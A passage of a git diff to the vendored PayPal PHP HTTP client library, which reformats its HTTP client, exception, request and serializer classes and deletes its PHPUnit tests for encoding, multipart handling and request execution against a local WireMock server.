$errorCode = $curl->errNo(); + $error = $curl->error(); + + if ($errorCode > 0) { + throw new IOException($error, $errorCode); + } + + $body = $responseData; + + if ($statusCode >= 200 && $statusCode < 300) { + $responseBody = NULL; + + if (!empty($body)) { + $responseBody = $this->encoder->deserializeResponse($body, $this->prepareHeaders($headers)); + } + + return new HttpResponse( + $errorCode === 0 ? $statusCode : $errorCode, + $responseBody, + $headers + ); + } else { + throw new HttpException($body, $statusCode, $headers); + } + } + + private function deserializeHeader($header, &$key, &$value) + { + if (strlen($header) > 0) { + if (empty($header) || strpos($header, ':') === false) { + return NULL; + } + + list($k, $v) = explode(":", $header); + $key = trim($k); + $value = trim($v); + } + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpException.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpException.php index 3551786ebd..47ec5635f9 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpException.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpException.php @@ -1,28 +1,28 @@ -statusCode = $statusCode; - $this->headers = $headers; - } -} +statusCode = $statusCode; + $this->headers = $headers; + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpRequest.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpRequest.php index 656994ae63..89b74801b0 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpRequest.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpRequest.php @@ -1,42 +1,42 @@ -path = $path; - $this->verb = $verb; - $this->body = NULL; - $this->headers = []; - } -} +path = $path; + $this->verb = $verb; + $this->body = NULL; + $this->headers = []; + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpResponse.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpResponse.php index 7d46dd2539..3ef56feef1 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpResponse.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/HttpResponse.php @@ -1,34 +1,34 @@ -statusCode = $statusCode; - $this->headers = $headers; - $this->result = $body; - } -} +statusCode = $statusCode; + $this->headers = $headers; + $this->result = $body; + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/IOException.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/IOException.php index 401b438dd1..7bfc91ceab 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/IOException.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/IOException.php @@ -1,13 +1,13 @@ -body) || !$this->isAssociative($request->body)) - { - throw new \Exception("HttpRequest body must be an associative array when Content-Type is: " . $request->headers["Content-Type"]); - } - - return http_build_query($request->body); - } - - /** - * @param $body - * @return mixed - * @throws \Exception as multipart does not support deserialization. - */ - public function decode($body) - { - throw new \Exception("CurlSupported does not support deserialization"); - } - - private function isAssociative(array $array) - { - return array_values($array) !== $array; - } -} +body) || !$this->isAssociative($request->body)) + { + throw new \Exception("HttpRequest body must be an associative array when Content-Type is: " . $request->headers["Content-Type"]); + } + + return http_build_query($request->body); + } + + /** + * @param $body + * @return mixed + * @throws \Exception as multipart does not support deserialization. + */ + public function decode($body) + { + throw new \Exception("CurlSupported does not support deserialization"); + } + + private function isAssociative(array $array) + { + return array_values($array) !== $array; + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/FormPart.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/FormPart.php index 5c400269fa..3779a9b58a 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/FormPart.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/FormPart.php @@ -1,25 +1,25 @@ -value = $value; - $this->headers = array_merge([], $headers); - } - - public function getValue() - { - return $this->value; - } - - public function getHeaders() - { - return $this->headers; - } -} +value = $value; + $this->headers = array_merge([], $headers); + } + + public function getValue() + { + return $this->value; + } + + public function getHeaders() + { + return $this->headers; + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Json.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Json.php index a73897c55d..3f66314aa3 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Json.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Json.php @@ -1,38 +1,38 @@ -body; - if (is_string($body)) { - return $body; - } - if (is_array($body)) { - return json_encode($body); - } - throw new \Exception("Cannot serialize data. Unknown type"); - } - - public function decode($data) - { - return json_decode($data); - } -} +body; + if (is_string($body)) { + return $body; + } + if (is_array($body)) { + return json_encode($body); + } + throw new \Exception("Cannot serialize data. Unknown type"); + } + + public function decode($data) + { + return json_decode($data); + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Multipart.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Multipart.php index b9142de684..a4202051e5 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Multipart.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Multipart.php @@ -1,134 +1,134 @@ -body) || !$this->isAssociative($request->body)) - { - throw new \Exception("HttpRequest body must be an associative array when Content-Type is: " . $request->headers["content-type"]); - } - $boundary = "---------------------" . md5(mt_rand() . microtime()); - $contentTypeHeader = $request->headers["content-type"]; - $request->headers["content-type"] = "{$contentTypeHeader}; boundary={$boundary}"; - - $value_params = []; - $file_params = []; - - $disallow = ["\0", "\"", "\r", "\n"]; - - $body = []; - - foreach ($request->body as $k => $v) { - $k = str_replace($disallow, "_", $k); - if (is_resource($v)) { - $file_params[] = $this->prepareFilePart($k, $v, $boundary); - } else if ($v instanceof FormPart) { - $value_params[] = $this->prepareFormPart($k, $v, $boundary); - } else { - $value_params[] = $this->prepareFormField($k, $v, $boundary); - } - } - - $body = array_merge($value_params, $file_params); - - // add boundary for each parameters - array_walk($body, function (&$part) use ($boundary) { - $part = "--{$boundary}" . self::LINEFEED . "{$part}"; - }); - - // add final boundary - $body[] = "--{$boundary}--"; - $body[] = ""; - - return implode(self::LINEFEED, $body); - } - - public function decode($data) - { - throw new \Exception("Multipart does not support deserialization"); - } - - private function isAssociative(array $array) - { - return array_values($array) !== $array; - } - - private function prepareFormField($partName, $value, $boundary) - { - return implode(self::LINEFEED, [ - "Content-Disposition: form-data; name=\"{$partName}\"", - "", - filter_var($value), - ]); - } - - private function prepareFilePart($partName, $file, $boundary) - { - $fileInfo = new finfo(FILEINFO_MIME_TYPE); - $filePath = stream_get_meta_data($file)['uri']; - $data = file_get_contents($filePath); - $mimeType = $fileInfo->buffer($data); - - $splitFilePath = explode(DIRECTORY_SEPARATOR, $filePath); - $filePath = end($splitFilePath); - $disallow = ["\0", "\"", "\r", "\n"]; - $filePath = str_replace($disallow, "_", $filePath); - return implode(self::LINEFEED, [ - "Content-Disposition: form-data; name=\"{$partName}\"; filename=\"{$filePath}\"", - "Content-Type: {$mimeType}", - "", - $data, - ]); - } - - private function prepareFormPart($partName, $formPart, $boundary) - { - $contentDisposition = "Content-Disposition: form-data; name=\"{$partName}\""; - - $partHeaders = $formPart->getHeaders(); - $formattedheaders = array_change_key_case($partHeaders); - if (array_key_exists("content-type", $formattedheaders)) { - if ($formattedheaders["content-type"] === "application/json") { - $contentDisposition .= "; filename=\"{$partName}.json\""; - } - $tempRequest = new HttpRequest('/', 'POST'); - $tempRequest->headers = $formattedheaders; - $tempRequest->body = $formPart->getValue(); - $encoder = new Encoder(); - $partValue = $encoder->serializeRequest($tempRequest); - } else { - $partValue = $formPart->getValue(); - } - - $finalPartHeaders = []; - foreach ($partHeaders as $k => $v) { - $finalPartHeaders[] = "{$k}: {$v}"; - } - - $body = array_merge([$contentDisposition], $finalPartHeaders, [""], [$partValue]); - - return implode(self::LINEFEED, $body); - } -} +body) || !$this->isAssociative($request->body)) + { + throw new \Exception("HttpRequest body must be an associative array when Content-Type is: " . $request->headers["content-type"]); + } + $boundary = "---------------------" . md5(mt_rand() . microtime()); + $contentTypeHeader = $request->headers["content-type"]; + $request->headers["content-type"] = "{$contentTypeHeader}; boundary={$boundary}"; + + $value_params = []; + $file_params = []; + + $disallow = ["\0", "\"", "\r", "\n"]; + + $body = []; + + foreach ($request->body as $k => $v) { + $k = str_replace($disallow, "_", $k); + if (is_resource($v)) { + $file_params[] = $this->prepareFilePart($k, $v, $boundary); + } else if ($v instanceof FormPart) { + $value_params[] = $this->prepareFormPart($k, $v, $boundary); + } else { + $value_params[] = $this->prepareFormField($k, $v, $boundary); + } + } + + $body = array_merge($value_params, $file_params); + + // add boundary for each parameters + array_walk($body, function (&$part) use ($boundary) { + $part = "--{$boundary}" . self::LINEFEED . "{$part}"; + }); + + // add final boundary + $body[] = "--{$boundary}--"; + $body[] = ""; + + return implode(self::LINEFEED, $body); + } + + public function decode($data) + { + throw new \Exception("Multipart does not support deserialization"); + } + + private function isAssociative(array $array) + { + return array_values($array) !== $array; + } + + private function prepareFormField($partName, $value, $boundary) + { + return implode(self::LINEFEED, [ + "Content-Disposition: form-data; name=\"{$partName}\"", + "", + filter_var($value), + ]); + } + + private function prepareFilePart($partName, $file, $boundary) + { + $fileInfo = new finfo(FILEINFO_MIME_TYPE); + $filePath = stream_get_meta_data($file)['uri']; + $data = file_get_contents($filePath); + $mimeType = $fileInfo->buffer($data); + + $splitFilePath = explode(DIRECTORY_SEPARATOR, $filePath); + $filePath = end($splitFilePath); + $disallow = ["\0", "\"", "\r", "\n"]; + $filePath = str_replace($disallow, "_", $filePath); + return implode(self::LINEFEED, [ + "Content-Disposition: form-data; name=\"{$partName}\"; filename=\"{$filePath}\"", + "Content-Type: {$mimeType}", + "", + $data, + ]); + } + + private function prepareFormPart($partName, $formPart, $boundary) + { + $contentDisposition = "Content-Disposition: form-data; name=\"{$partName}\""; + + $partHeaders = $formPart->getHeaders(); + $formattedheaders = array_change_key_case($partHeaders); + if (array_key_exists("content-type", $formattedheaders)) { + if ($formattedheaders["content-type"] === "application/json") { + $contentDisposition .= "; filename=\"{$partName}.json\""; + } + $tempRequest = new HttpRequest('/', 'POST'); + $tempRequest->headers = $formattedheaders; + $tempRequest->body = $formPart->getValue(); + $encoder = new Encoder(); + $partValue = $encoder->serializeRequest($tempRequest); + } else { + $partValue = $formPart->getValue(); + } + + $finalPartHeaders = []; + foreach ($partHeaders as $k => $v) { + $finalPartHeaders[] = "{$k}: {$v}"; + } + + $body = array_merge([$contentDisposition], $finalPartHeaders, [""], [$partValue]); + + return implode(self::LINEFEED, $body); + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Text.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Text.php index d6fa3cd432..e2ce0cade8 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Text.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/Serializer/Text.php @@ -1,38 +1,38 @@ -body; - if (is_string($body)) { - return $body; - } - if (is_array($body)) { - return json_encode($body); - } - return implode(" ", $body); - } - - public function decode($data) - { - return $data; - } -} +body; + if (is_string($body)) { + return $body; + } + if (is_array($body)) { + return json_encode($body); + } + return implode(" ", $body); + } + + public function decode($data) + { + return $data; + } +} diff --git a/vendor/paypal/paypalhttp/phpunit.xml b/vendor/paypal/paypalhttp/phpunit.xml index 649fcd9aa8..ea8427851b 100644 --- a/vendor/paypal/paypalhttp/phpunit.xml +++ b/vendor/paypal/paypalhttp/phpunit.xml @@ -1,10 +1,10 @@ - - - - - - ./tests/unit - - - - + + + + + + ./tests/unit + + + + diff --git a/vendor/paypal/paypalhttp/tests/unit/EncoderTest.php b/vendor/paypal/paypalhttp/tests/unit/EncoderTest.php deleted file mode 100644 index c9cfc94052..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/EncoderTest.php +++ /dev/null @@ -1,172 +0,0 @@ -body = "some string"; - - $encoder->serializeRequest($httpRequest); - } - - /** - * @expectedException \Exception - * @expectedExceptionMessage Unable to serialize request with Content-Type: non-existent/type. Supported encodings are - */ - public function testEncode_throwsExceptionIfNoSerializerForGivenContentType() - { - $encoder = new Encoder(); - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->headers['content-type'] = "non-existent/type"; - $httpRequest->body = "some string"; - - $encoder->serializeRequest($httpRequest); - } - - /** - * @expectedException \Exception - * @expectedExceptionMessage Body must be either string or array - */ - public function testEncode_throwsExceptionForNonStringOrArrayBody() - { - $encoder = new Encoder(); - $httpRequest = new HttpRequest("/path", "post"); - - $httpRequest->headers['content-type'] = "application/json"; - $httpRequest->body = new \stdClass(); - - $encoder->serializeRequest($httpRequest); - } - - public function testEncode_serializesWithCorrectSerializer() - { - $encoder = new Encoder(); - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->headers['content-type'] = "application/json"; - $httpRequest->body = [ - "key_one" => "value_one", - "key_two" => [ - "one", - "two" - ] - ]; - - $result = $encoder->serializeRequest($httpRequest); - - $this->assertEquals('{"key_one":"value_one","key_two":["one","two"]}', $result); - } - - public function testEncode_gzipsDataWhenHeaderPresent() - { - $encoder = new Encoder(); - $httpRequest = new HttpRequest("/path", "post"); - - $httpRequest->headers["content-type"] = "application/json"; - $httpRequest->headers["content-encoding"] = "gzip"; - $httpRequest->body = [ - "key" => "val" - ]; - - $encoded = $encoder->serializeRequest($httpRequest); - - $this->assertEquals(gzencode(json_encode($httpRequest->body)), $encoded); - } - - /** - * @expectedException \Exception - * @expectedExceptionMessage HTTP response does not have Content-Type header set - */ - public function testDecode_throwsWhenContentTypeNotPresent() - { - $encoder = new Encoder(); - $headers = []; - - $encoder->deserializeResponse('data', $headers); - } - - /** - * @expectedException \Exception - * @expectedExceptionMessage Unable to deserialize response with Content-Type: application/unstructured. Supported encodings are: - */ - public function testDecode_throwsWhenNoSerializerAvailableForContentType() - { - $encoder = new Encoder(); - $headers = [ - "content-type" => "application/unstructured" - ]; - - $encoder->deserializeResponse('data', $headers); - } - - public function testDecode_deserializesResponseWithCorrectSerializer() - { - $encoder = new Encoder(); - $responseBody = '{"key_one":"value_one","key_two":["one","two"]}'; - $headers = [ - "content-type" => "application/json" - ]; - - $result = $encoder->deserializeResponse($responseBody, $headers); - - $this->assertEquals("value_one", $result->key_one); - $this->assertEquals(["one", "two"], $result->key_two); - } - - public function testDecode_deserializesResponseWithContentEncoding() - { - $encoder = new Encoder(); - $responseBody = '{"key_one":"value_one","key_two":["one","two"]}'; - $headers = [ - "content-type" => "application/json; charset=utf-8" - ]; - - $result = $encoder->deserializeResponse($responseBody, $headers); - - $this->assertEquals("value_one", $result->key_one); - $this->assertEquals(["one", "two"], $result->key_two); - } - - public function testDecode_deserializesResponseWithContentEncodingCaseInsensitive() - { - $encoder = new Encoder(); - $responseBody = '{"key_one":"value_one","key_two":["one","two"]}'; - $headers = [ - "content-type" => "application/JSON; charset=utf-8" - ]; - - $result = $encoder->deserializeResponse($responseBody, $headers); - - $this->assertEquals("value_one", $result->key_one); - $this->assertEquals(["one", "two"], $result->key_two); - } - - public function testDecode_ungzipsDataWhenHeaderPresent() - { - $encoder = new Encoder(); - $responseBody = '{"key_one":"value_one"}'; - $headers = [ - "content-type" => "application/json; charset=utf-8", - "content-encoding" => "gzip" - ]; - - $decoded = $encoder->deserializeResponse(gzencode($responseBody), $headers); - $expected = new \stdClass(); - - $expected->key_one = "value_one"; - - $this->assertEquals($expected, $decoded); - } -} diff --git a/vendor/paypal/paypalhttp/tests/unit/HttpClientTest.php b/vendor/paypal/paypalhttp/tests/unit/HttpClientTest.php deleted file mode 100644 index 8ead345f70..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/HttpClientTest.php +++ /dev/null @@ -1,289 +0,0 @@ -wireMock = WireMock::create(); - $this->environment = new DevelopmentEnvironment("http://localhost:8080"); - - $this->assertTrue($this->wireMock->isAlive()); - } - - public static function setUpBeforeClass() - { - exec('java -jar ./tests/wiremock-standalone.jar --port 8080 --https-port 8443 > /dev/null 2>&1 &'); - } - - public static function tearDownAfterClass() - { - exec('ps aux | grep wiremock | grep -v grep | awk \'{print $2}\' | xargs kill -9'); - } - - public function testAddInjector_addsInjectorToInjectorList() - { - $client = new HttpClient($this->environment); - - $inj = new BasicInjector(); - $client->addInjector($inj); - - $this->assertContains($inj, $client->injectors); - } - - public function testAddsMultipleInjectors_addsMultipleInjectorsToInjectorList() - { - $client = new HttpClient($this->environment); - - $inj1 = new BasicInjector(); - $client->addInjector($inj1); - - $inj2 = new BasicInjector(); - $client->addInjector($inj2); - - $this->assertArraySubset([$inj1, $inj2], $client->injectors); - } - - public function testExecute_usesInjectorsToModifyRequest() - { - $this->wireMock->stubFor(WireMock::get(WireMock::urlEqualTo("/some-other-path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - $injector = new BasicInjector(); - $client->addInjector($injector); - - $req = new HttpRequest("/path", "GET"); - - $client->execute($req); - $this->wireMock->verify(WireMock::getRequestedFor(WireMock::urlEqualTo("/some-other-path"))); - } - - public function testExecute_formsRequestProperly() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - $req->headers["Content-Type"] = "text/plain"; - $req->body = "some data"; - - $client->execute($req); - - $this->wireMock->verify(WireMock::postRequestedFor(WireMock::urlEqualTo("/path")) - ->withHeader("Content-Type", WireMock::equalTo("text/plain")) - ->withRequestBody(WireMock::equalTo("some data"))); - } - - public function testExecute_formsRequestProperlyCaseInsensitive() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - $req->headers["Content-Type"] = "TEXT/plain"; - $req->body = "some data"; - - $client->execute($req); - - $this->wireMock->verify(WireMock::postRequestedFor(WireMock::urlEqualTo("/path")) - ->withHeader("Content-Type", WireMock::equalTo("text/plain")) - ->withRequestBody(WireMock::equalTo("some data"))); - } - - public function testExecute_setsUserAgentIfNotSet() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - $client->execute($req); - - $this->wireMock->verify(WireMock::postRequestedFor(WireMock::urlEqualTo("/path")) - ->withHeader("User-Agent", WireMock::equalTo($client->userAgent()))); - } - - public function testExecute_doesNotSetUserAgentIfAlreadySet() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - $req->headers["User-Agent"] = "Example user-agent"; - $client->execute($req); - - $this->wireMock->verify(WireMock::postRequestedFor(WireMock::urlEqualTo("/path")) - ->withHeader("User-Agent", WireMock::equalTo("Example user-agent"))); - } - - public function testExecute_setsHeadersInRequest() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - $req->headers["Custom-Header"] = "Custom value"; - $client->execute($req); - - $this->wireMock->verify(WireMock::postRequestedFor(WireMock::urlEqualTo("/path")) - ->withHeader("Custom-Header", WireMock::equalTo("Custom value"))); - } - - public function testExecute_parsesHeadersFromResponse() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withHeader("Some-key", "Some value") - ->withHeader("Content-Type", "text/plain") - ->withBody("some plain text") - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - $response = $client->execute($req); - - $this->assertEquals("Some value", $response->headers["Some-key"]); - $this->assertEquals("text/plain", $response->headers["Content-Type"]); - $this->assertEquals("some plain text", $response->result); - } - - public function testExecute_throwsForNon200LevelResponse() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withHeader("Debug-Id", "some debug id") - ->withHeader("Content-Type", "text/plain") - ->withBody("Response body") - ->withStatus(400))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - try { - $client->execute($req); - $this->fail("expected execute to throw"); - } catch (HttpException $e) { - $this->assertEquals(400, $e->statusCode); - $this->assertArraySubset(["Debug-Id" => "some debug id"], $e->headers); - $this->assertArraySubset(["Content-Type" => "text/plain"], $e->headers); - $this->assertEquals("Response body", $e->getMessage()); - } - } - - public function testParseResponse_parsesResponseWith100ContinueCorrectly() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(100))); - - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withHeader("Content-Type", "text/plain") - ->withBody("Successfully dumped some data.\nAnother line of data\nLast one.") - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - $client->execute($req); - $res = $client->execute($req); - - $this->assertEquals("Successfully dumped some data.\nAnother line of data\nLast one.", $res->result); - } - - public function testExecute_doesNotModifyOriginalRequest() - { - $this->wireMock->stubFor(WireMock::get(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - $req = new HttpRequest("/path", "GET"); - - $client->execute($req); - - // HttpClient adds UserAgent header pre-flight - $this->assertEquals(0, sizeof($req->headers)); - } - - public function testExecute_usesUpdatedHTTPHeadersFromSerializer() - { - $this->wireMock->stubFor(WireMock::post(WireMock::urlEqualTo("/path")) - ->willReturn(WireMock::aResponse() - ->withStatus(200))); - - $client = new HttpClient($this->environment); - - $req = new HttpRequest("/path", "POST"); - // The "; boundary=--..." will be added by the Multipart serializer when serializing - // the body - $req->headers["Content-Type"] = "multipart/form-data"; - $file = fopen(dirname(__DIR__) . '/unit/Serializer/sample.txt', 'rb'); - $body = []; - $body["file1"] = $file; - $body["key"] = "value"; - $req->body = $body; - - $client->execute($req); - - $this->wireMock->verify(WireMock::postRequestedFor(WireMock::urlEqualTo("/path")) - ->withHeader("Content-Type", WireMock::containing("multipart/form-data; boundary=--")) - ->withRequestBody(WireMock::containing("Hello World!"))); - } -} - -class BasicInjector implements Injector -{ - public function inject($httpRequest) - { - $httpRequest->path = "/some-other-path"; - } -} - -class DevelopmentEnvironment implements Environment -{ - /** - * @var string - */ - private $baseUrl; - - public function __construct($baseUrl) - { - $this->baseUrl = $baseUrl; - } - - public function baseUrl() - { - return $this->baseUrl; - } -} diff --git a/vendor/paypal/paypalhttp/tests/unit/HttpResponseTest.php b/vendor/paypal/paypalhttp/tests/unit/HttpResponseTest.php deleted file mode 100644 index 48db59c586..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/HttpResponseTest.php +++ /dev/null @@ -1,18 +0,0 @@ - "isTheBestJSON"}', ["Content-Type" => "application/json"]); - - $this->assertEquals(200, $response->statusCode); - $this->assertEquals('{"myJSON"=> "isTheBestJSON"}', $response->result); - $this->assertEquals(["Content-Type" => "application/json"], $response->headers); - } -} diff --git a/vendor/paypal/paypalhttp/tests/unit/Serializer/FormTest.php b/vendor/paypal/paypalhttp/tests/unit/Serializer/FormTest.php deleted file mode 100644 index d874bcaf04..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/Serializer/FormTest.php +++ /dev/null @@ -1,44 +0,0 @@ -body = ""; - $request->headers["Content-Type"] = "application/x-www-form-urlencoded"; - - $multipart->encode($request); - } - - /** - * @expectedException \Exception - * @expectedExceptionMessage HttpRequest body must be an associative array when Content-Type is: - */ - public function testFormThrowsWhenRequestBodyNotAssociativeArray() - { - $multipart = new Form(); - - $body = []; - $body[] = "form-param 1"; - $body[] = "form-param 2"; - - $request = new HttpRequest("/", "POST"); - $request->body = $body; - $request->headers["Content-Type"] = "application/x-www-form-urlencoded"; - - $multipart->encode($request); - } -} diff --git a/vendor/paypal/paypalhttp/tests/unit/Serializer/JsonTest.php b/vendor/paypal/paypalhttp/tests/unit/Serializer/JsonTest.php deleted file mode 100644 index 78e7654d9d..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/Serializer/JsonTest.php +++ /dev/null @@ -1,56 +0,0 @@ -body = "some string"; - - $serializer = new Json(); - $result = $serializer->encode($httpRequest); - $this->assertEquals("some string", $result); - } - - public function testSerialize_returnsStringIfBodyJSONString() - { - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->body = "{ \"key\": \"value\" }"; - - $serializer = new Json(); - $result = $serializer->encode($httpRequest); - $this->assertEquals("{ \"key\": \"value\" }", $result); - } - - public function testSerialize_returnsJsonArrayIfArray() - { - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->body[] = "some string"; - $httpRequest->body[] = "another string"; - - $serializer = new Json(); - $result = $serializer->encode($httpRequest); - $this->assertEquals("[\"some string\",\"another string\"]", $result); - } - - public function testSerialize_returnsJsonObjectStringIfArray() - { - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->body['key'] = [ - 'another_key' => 'another value', - 'something' => 'else' - ]; - - $serializer = new Json(); - $result = $serializer->encode($httpRequest); - $this->assertEquals("{\"key\":{\"another_key\":\"another value\",\"something\":\"else\"}}", $result); - } -} - diff --git a/vendor/paypal/paypalhttp/tests/unit/Serializer/MultipartTest.php b/vendor/paypal/paypalhttp/tests/unit/Serializer/MultipartTest.php deleted file mode 100644 index 4ae69d4526..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/Serializer/MultipartTest.php +++ /dev/null @@ -1,114 +0,0 @@ -body = ""; - $request->headers["content-type"] = "multipart/form-data"; - - $multipart->encode($request); - } - - /** - * @expectedException \Exception - * @expectedExceptionMessage HttpRequest body must be an associative array when Content-Type is: - */ - public function testMultipartThrowsWhenRequestBodyNotAssociativeArray() - { - $multipart = new Multipart(); - - $body = []; - $body[] = "form-param 1"; - $body[] = "form-param 2"; - - $request = new HttpRequest("/", "POST"); - $request->body = $body; - $request->headers["content-type"] = "multipart/form-data"; - - $multipart->encode($request); - } - - public function testMultipartAddsContentTypeHeaderForPart() - { - $multipart = new Multipart(); - - $body = []; - $body["key1"] = "value1"; - - $request = new HttpRequest("/", "POST"); - $request->body = $body; - $request->headers["content-type"] = "multipart/form-data"; - - $encodedBody = $multipart->encode($request); - $this->assertContains("boundary=", $request->headers["content-type"]); - $this->assertContains("Content-Disposition: form-data; name=\"key1\"\r\n\r\nvalue1\r\n", $encodedBody); - } - - public function testMultipartMultipleKeys() - { - $multipart = new Multipart(); - - $body = []; - $body["key1"] = "value1"; - $body["key2"] = "value2"; - - $request = new HttpRequest("/", "POST"); - $request->body = $body; - $request->headers["content-type"] = "multipart/form-data"; - - $encodedBody = $multipart->encode($request); - $this->assertContains("boundary=", $request->headers["content-type"]); - $this->assertContains("Content-Disposition: form-data; name=\"key1\"\r\n\r\nvalue1\r\n", $encodedBody); - $this->assertContains("Content-Disposition: form-data; name=\"key2\"\r\n\r\nvalue2\r\n", $encodedBody); - } - - public function testMultipartJSONPart() - { - $multipart = new Multipart(); - - $body = []; - $formPart = new FormPart([ "json_key" => "json_value"], [ "Content-Type" => "application/json"]); - $body["key1"] = $formPart; - - $request = new HttpRequest("/", "POST"); - $request->body = $body; - $request->headers["content-type"] = "multipart/form-data"; - - $encodedBody = $multipart->encode($request); - $this->assertContains("boundary=", $request->headers["content-type"]); - $this->assertContains("Content-Disposition: form-data; name=\"key1\"; filename=\"key1.json\"\r\nContent-Type: application/json\r\n\r\n{\"json_key\":\"json_value\"}\r\n", $encodedBody); - } - - public function testMultipartFile() - { - $multipart = new Multipart(); - - $body = []; - $file = fopen(dirname(__DIR__) . '/Serializer/sample.txt', 'rb'); - $body["file1"] = $file; - - $request = new HttpRequest("/", "POST"); - $request->body = $body; - $request->headers["content-type"] = "multipart/form-data"; - - $encodedBody = $multipart->encode($request); - $this->assertContains("boundary=", $request->headers["content-type"]); - $this->assertContains("Content-Disposition: form-data; name=\"file1\"; filename=\"sample.txt\"\r\nContent-Type: text/plain\r\n\r\nHello World!\n\r\n", $encodedBody); - } -} diff --git a/vendor/paypal/paypalhttp/tests/unit/Serializer/TextTest.php b/vendor/paypal/paypalhttp/tests/unit/Serializer/TextTest.php deleted file mode 100644 index 5ca80e7f7d..0000000000 --- a/vendor/paypal/paypalhttp/tests/unit/Serializer/TextTest.php +++ /dev/null @@ -1,61 +0,0 @@ -body = "some string"; - - $textSerializer = new Text(); - $result = $textSerializer->encode($httpRequest); - $this->assertEquals("some string", $result); - } - - public function testSerialize_returnsStringIfBodyJSONString() - { - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->body = "{ \"key\": \"value\" }"; - - $textSerializer = new Text(); - $result = $textSerializer->encode($httpRequest); - $this->assertEquals("{ \"key\": \"value\" }", $result); - } - - public function testSerialize_returnsJsonArrayStringIfArray() - { - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->body[] = "some string"; - $httpRequest->body[] = "another string"; - - $textSerializer = new Text(); - $result = $textSerializer->encode($httpRequest); - $this->assertEquals("[\"some string\",\"another string\"]", $result); - } - - public function testSerialize_returnsJsonObjectStringIfArray() - { - $httpRequest = new HttpRequest("/path", "post"); - $httpRequest->body['key'] = [ - 'another_key' => 'another value', - 'something' => 'else' - ]; - - $textSerializer = new Text(); - $result = $textSerializer->encode($httpRequest); - $this->assertEquals("{\"key\":{\"another_key\":\"another value\",\"something\":\"else\"}}", $result); - } - - public function 